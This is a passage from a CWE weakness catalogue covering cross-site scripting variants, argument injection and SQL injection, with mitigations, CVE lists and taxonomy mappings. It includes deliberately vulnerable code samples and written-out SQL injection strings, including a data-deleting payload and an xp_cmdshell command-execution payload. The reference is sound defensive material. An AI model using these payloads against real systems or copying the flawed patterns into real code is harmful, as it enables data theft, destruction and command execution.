ChildOf		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	**711**		718
ChildOf		751	Insecure Interaction Between Components	**750**		733
ParentOf	WV	*80*	*Improper Sanitization of Script-Related HTML Tags in a Web Page (Basic XSS)*	***699*** ***1000***		*89*
ParentOf	WV	*81*	*Improper Sanitization of Script in an Error Message Web Page*	***699*** ***1000***		*91*
ParentOf	WV	*82*	*Improper Sanitization of Script in Attributes of IMG Tags in a Web Page*	***699*** ***1000***		*92*
ParentOf	WV	*83*	*Failure to Sanitize Script in Attributes in a Web Page*	***699*** ***1000***		*93*
ParentOf	WV	*84*	*Failure to Resolve Encoded URI Schemes in a Web Page*	***699*** ***1000***		*94*
ParentOf	WV	*85*	*Doubled Character XSS Manipulations*	***699*** ***1000***		*95*
ParentOf	WV	*86*	*Failure to Sanitize Invalid Characters in Identifiers in Web Pages*	***699*** ***1000***		*96*
ParentOf	WV	*87*	*Failure to Sanitize Alternate XSS Syntax*	***699*** ***1000***		*96*
CanFollow	WB	*113*	*Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')*	*1000*		*131*
CanFollow	WB	*184*	*Incomplete Blacklist*	*1000*	*692*	*212*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***		*616*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
19	Embedding Scripts within Scripts	
32	Embedding Scripts in HTTP Query Strings	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	

References

Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.

"Cross-site scripting". Wikipedia. 2008-08-26. < http://en.wikipedia.org/wiki/Cross-site_scripting >.

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < http://ha.ckers.org/xss.html >.

Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < http://msdn.microsoft.com/en-us/library/ms533046.aspx >.

Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". < http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx >.

"OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

Ivan Ristic. "XSS Defense HOWTO". < http://blog.modsecurity.org/2008/07/do-you-know-how.html >.

OWASP. "Web Application Firewall". < http://www.owasp.org/index.php/Web_Application_Firewall >.

Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". < http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html >.

RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.

"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. < https://bugzilla.mozilla.org/show_bug.cgi?id=380418 >.

"Apache Wicket". < http://wicket.apache.org/ >.

CWE-80: Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID: 80 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The web application fails to adequately filter user-controlled input and sanitize its own output for any special characters, such as "<", ">", and "&".

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the failure to convert such special characters to respective context-appropriate entities before displaying them to the user.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High to Very High

Demonstrative Examples

In the following example, a guestbook comment isn't properly sanitized for script-related tags before being displayed in a client browser.

Java Example: *Bad Code*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
  Entry e = (Entry) i.next(); %>
  <p>Entry #<%= e.getId() %></p>
  <p><%= e.getText() %></p>
  <%
  } %>
```

Observed Examples

Reference	Description
CVE-2002-0938	XSS in parameter in a link.
CVE-2002-1495	XSS in web-based email product via attachment filenames.
CVE-2003-1136	HTML injection in posted message.
CVE-2004-2171	XSS not quoted in error page.

Potential Mitigations

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699** **1000**	83
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Basic XSS

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input from HTML page
2. end statement that publishes a data item to HTML where
   a. the input is part of the data item and
   b. the input is undesirable

Where "input is undesirable" is defined through the following scenarios:

1. input not validated
2. input incorrectly validated

CWE-81: Failure to Sanitize Directives in an Error Message Web Page

Weakness ID: 81 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software displays user-controlled input on an error page (e.g. a customized 403 Forbidden or 404 Not Found) without sufficiently sanitizing it, enabling cross-site scripting attacks.

Extended Description

If the input has not been appropriately filtered and sanitized prior to inclusion in the target page, an attacker can influence a victim to view/request a web page that causes an error, containing malicious HTML input, such as scripts.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0840	XSS in default error page from Host: header.
CVE-2002-1053	XSS in error message.
CVE-2002-1700	XSS in error page from targeted parameter.

Potential Mitigations

Do not write user-controlled input to error pages.

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699 1000**	83
CanAlsoBe	We	209	Error Message Information Leak	1000	238
CanAlsoBe	Wc	390	Detection of Error Condition Without Action	1000	415

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	XSS in error pages

CWE-82: Failure to Sanitize Script in Attributes of IMG Tags in a Web Page

Weakness ID: 82 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A Web application that trusts input in the form of HTML IMG tags is potentially vulnerable to XSS attacks.

Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1649	javascript URI scheme in IMG tag.
CVE-2002-1803	javascript URI scheme in IMG tag.
CVE-2002-1804	javascript URI scheme in IMG tag.
CVE-2002-1805	javascript URI scheme in IMG tag.
CVE-2002-1806	javascript URI scheme in IMG tag.
CVE-2002-1807	javascript URI scheme in IMG tag.
CVE-2002-1808	javascript URI scheme in IMG tag.

Potential Mitigations

see the vulnerability category "Cross-site scripting (XSS)"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699 1000**	83

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Script in IMG tags

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
91	XSS in IMG Tags	

CWE-83: Failure to Sanitize Script in Attributes in a Web Page

Weakness ID: 83 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not filter "javascript:" or other URI's from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0520	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
CVE-2002-1493	guestbook XSS in STYLE or IMG SRC attributes.
CVE-2002-1495	XSS in web-based email product via onmouseover event.
CVE-2002-1681	XSS via script in <P> tag.
CVE-2002-1965	Javascript in onerror attribute of IMG tag.
CVE-2003-1136	Javascript in onmouseover attribute in e-mail address or URL.
CVE-2004-1935	Onload, onmouseover, and other events in an e-mail attachment.
CVE-2005-0945	Onmouseover and onload events in img, link, and mail tags.

Potential Mitigations

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699 1000**	83

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	XSS using Script in Attributes

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	

CWE-84: Failure to Resolve Encoded URI Schemes in a Web Page

Weakness ID: 84 *(Weakness Variant)* **Status:** Draft

Description

Summary

The web application fails to filter user-controlled input for executable script disguised with URI encodings.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0117	Encoded "javascript" in IMG tag.
CVE-2002-0118	Encoded "javascript" in IMG tag.
CVE-2005-0563	Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&#X41sc
ript:") in an IMG tag.
CVE-2005-0692	Encoded script within BBcode IMG tag.
CVE-2005-2276	Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&#X41vascript" in an IMG tag).

Potential Mitigations

Resolve all URIs to absolute or canonical representations before processing.

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699** **1000**	83

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	XSS using Script Via Encoded URI Schemes

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
32	Embedding Scripts in HTTP Query Strings	

CWE-85: Doubled Character XSS Manipulations

Weakness ID: 85 *(Weakness Variant)* **Status:** Draft

Description

Summary

The web application fails to filter user-controlled input for executable script disguised using doubling of the involved characters.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0116	Encoded "javascript" in IMG tag.
CVE-2001-1157	Extra "<" in front of SCRIPT tag.
CVE-2002-2086	XSS using "<script".

Potential Mitigations

Resolve all filtered input to absolute or canonical representations before processing.

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699** **1000**	83
PeerOf	WC	675	Duplicate Operations on Resource	1000	663

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	DOUBLE - Doubled character XSS manipulations, e.g. "<script"

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
32	Embedding Scripts in HTTP Query Strings	

CWE-86: Failure to Sanitize Invalid Characters in Identifiers in Web Pages

Weakness ID: 86 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not strip out invalid characters in the middle of tag names, URI schemes, and other identifiers, which are still rendered by some web browsers that ignore the characters.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.

Potential Mitigations

see the vulnerability category "Cross-site scripting (XSS)"

Other Notes

Commonly used characters include null, CRLF, and other non-standard whitespace.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699** **1000**	83
PeerOf	We	184	Incomplete Blacklist	1000	212
ChildOf	We	436	Interpretation Conflict	1000	463

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Invalid Characters in Identifiers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
73	User-Controlled Filename	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	

CWE-87: Failure to Sanitize Alternate XSS Syntax

Weakness ID: 87 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software fails to adequately filter user-controlled input for alternate script syntax.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following example, an XSS sanitization routine checks for the lower-case "script" string but fails to account for alternate strings ("SCRIPT", for example).

Java Example: *Bad Code*

```
public String sanitize(String input, String mask) {
  return input.replaceAll("script", mask);
}
```

Observed Examples

Reference	Description
CVE-2002-0738	XSS using "&={script}".

Potential Mitigations

Resolve all filtered input to absolute or canonical representations before processing.

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be sanitized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

This involves "HTML Entity Encoding" all non-alphanumeric characters from data that was received from the user and is now being written to the request.

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Additionally, to help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as Internet Explorer), this attribute prevents the user's session cookie from being accessed by client-side scripts, including scripts inserted due to a XSS attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**699** **1000**	83

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate XSS syntax

CWE-88: Argument Injection or Modification

Weakness ID: 88 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0113	Canonical Example
CVE-2001-0150	
CVE-2001-0667	
CVE-2002-0985	
CVE-2003-0907	
CVE-2004-0121	
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0480	
CVE-2004-0489	
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.

Potential Mitigations

Avoid using user-controlled input in command arguments.

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Other Notes

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Fault: unquoted special characters, input restriction error, unquoted special terms, whitespace

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	734	729
CanAlsoBe	W	*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	*1000*	*77*
ParentOf	W	*622*	*Unvalidated Function Hook Arguments*	***1000***	*607*

Affected Resources

- System Process

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Argument Injection or Modification
CERT C Secure Coding	ENV03-C	Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV04-C	Do not call system() if you do not need a command processor
CERT C Secure Coding	STR02-C	Sanitize data passed to complex subsystems

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads	
88	OS Command Injection	

References

Steven Christey. "Argument injection issues". < http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded >.

CWE-89: Failure to Preserve SQL Query Structure (aka 'SQL Injection')

Weakness ID: 89 *(Weakness Base)* **Status:** Draft

Description

Summary

The application dynamically generates an SQL query based on user input, but it does not sufficiently prevent that input from modifying the intended structure of the query.

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Time of Introduction

- Architecture and Design
- Implementation

- Operation

Applicable Platforms

Languages

- All

Technology Classes

- Database-Server

Modes of Introduction

This weakness typically appears in data-rich applications that save user inputs in a database.

Common Consequences

Confidentiality

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Authentication

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Authorization

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood of Exploit

Very High

Enabling Factors for Exploitation

The application dynamically generates queries that contain user input.

Demonstrative Examples

Example 1:

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. [1]

Example 2:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

C# Example:

Bad Code

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Attack

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Attack

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Attack

```
OR 'a'='a'
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Attack

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

Attack

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

SQL Example:

Attack

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

Attack

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Then the following three valid statements will be created:

Attack

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters

- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

Bad Code

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

Bad Code

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where $user_input is taken from the user and unfiltered.

If the user provides the string:

Attack

```
' exec master..xp_cmdshell 'vol' --
```

The query will take the following form: ''

Attack

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='' exec master..xp_cmdshell 'vol' --' ORDER BY PRICE
```

Now, this query can be broken down into:

[1] a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''

[2] a second SQL query, which executes a shell command: exec master..xp_cmdshell 'vol'

[3] an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5:

This code intends to print a message summary given the message ID.

PHP Example:

Bad Code

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

1432' or '1' = '1

This would produce the resulting query:

